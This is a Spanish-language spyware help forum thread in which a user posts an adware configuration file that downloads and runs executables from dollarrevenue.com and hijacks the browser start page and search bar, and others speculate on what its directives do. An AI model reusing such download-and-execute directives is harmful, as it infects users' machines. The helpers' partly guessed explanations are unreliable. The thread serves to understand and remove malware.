Foro de InfoSpyware - Foro de Hijackthis - Foro de Virus

Encontre mi equipo infectado com spyware y al realizar un analisis me llevo a este archivo de nombre data.htm este archivo contiene lo mostrado abajo. Los archivos mencionados en el archivo (timessquare.exe y adtech2006.exe)los encontre en mi equipo y es spyware pero me surge la duda de como funcina este archivo, ya que supongo que es un archivo de configuración, pero me gustaria saber como funciona el spyware es decir, acceso al sito web malicioso y se bajan los archivos maliciosos y despues lee este archivo de configuracion, pero que más hace? para que sirven los comandos ew, sp, sb, as, etc...

Espero alguien tenga info o sepa algo..ya que googleando solo encontre otra página con este contenido y nada de info
Saludos

************************************************** *

ew,http://content.dollarrevenue.com/timessquare.exe,c:\windows\timessquare.exe

sp,http://www.findthewebsiteyouneed.com
sb,http://searchbar.findthewebsiteyouneed.com

as,0

rd,http://content.dollarrevenue.com/adtech2006.exe,c:\windows\adtech2006.exe
tb,0
spy,0

exe,0
dll,0

************************************************** *

Bienvenid@ a Forospyware!


El archivo en cuestión es se encarga de dos cosas principalmente:

Una: Hace un hijack (secuestro) de la página de inicio y es la dirección web que te coloca allí,

Dos: te mostrará o descargará directamente unos archivos que son los que infecctaran el sistema, la infección es conocida como el malware PSGuard


Los archivos que descarga buscan que la infección permanezca en cada inicio del sistema creando un valor en la clave Run del registro de windows


Estos archivos también vienen (en la mayoría de los casos) acompañados por otros, el más común es un archivo temporal (hp****.tmp) que se ejecuta como un Browser Object Helper y que mantiene el hijack de la página de inicio del IE (Internet Explorer)


Los pasos para la eliminación de este malware están en este enlace





Salu2

Gracias por la respuesta.. pero lo que queria saber es más info sobre el archivo que les comento.. por lo que tomare como respuesta eso de que hace un hijack, pero a mi me gustaria saber para que sirvesirven los comandos ew, sp, sb, as, etc...

Buenas.....

ew Actúa como un Go To en la programación, "ir a", pero en realidad no es igual, significa Execute Web, es decir, ejecutar desde la red, como es un ejecutable, se activa de forma automática y crea una copia en el archivo local

Al hacer esto, sp sale de StartPage, es decir, un comando que indica que la Pagina de inicio será la que allí coloca, luego sb se encarga de cambiar la barra de busqueda por la colocada (Search Bar - sb)

as, 0 no estoy muy seguro, pero al parecer se usa para determinar que en lo anterior (pagina de inicio y Barra de busqueda) no hay nada

rd Funciona como una redirección de página hacia otro ejecutable

los demás "comandos" son para engañar al sistema y decirle que lo que se ejecuta no es ningún virus



Salu2

Gracias por la respuesta..solo una duda..como sabes esto? de algun documento o por pruebas de laboratorio? o suposiciones..

digo si se puede saber. :p

Y nuevamente gracias por la respuesta.

De una guía de programación que tengo en mi PC



Salu2

y que tipo de programación es? digo para por lo menos buscar información en internet :p todo es con fines de aprender no de propagar más spyware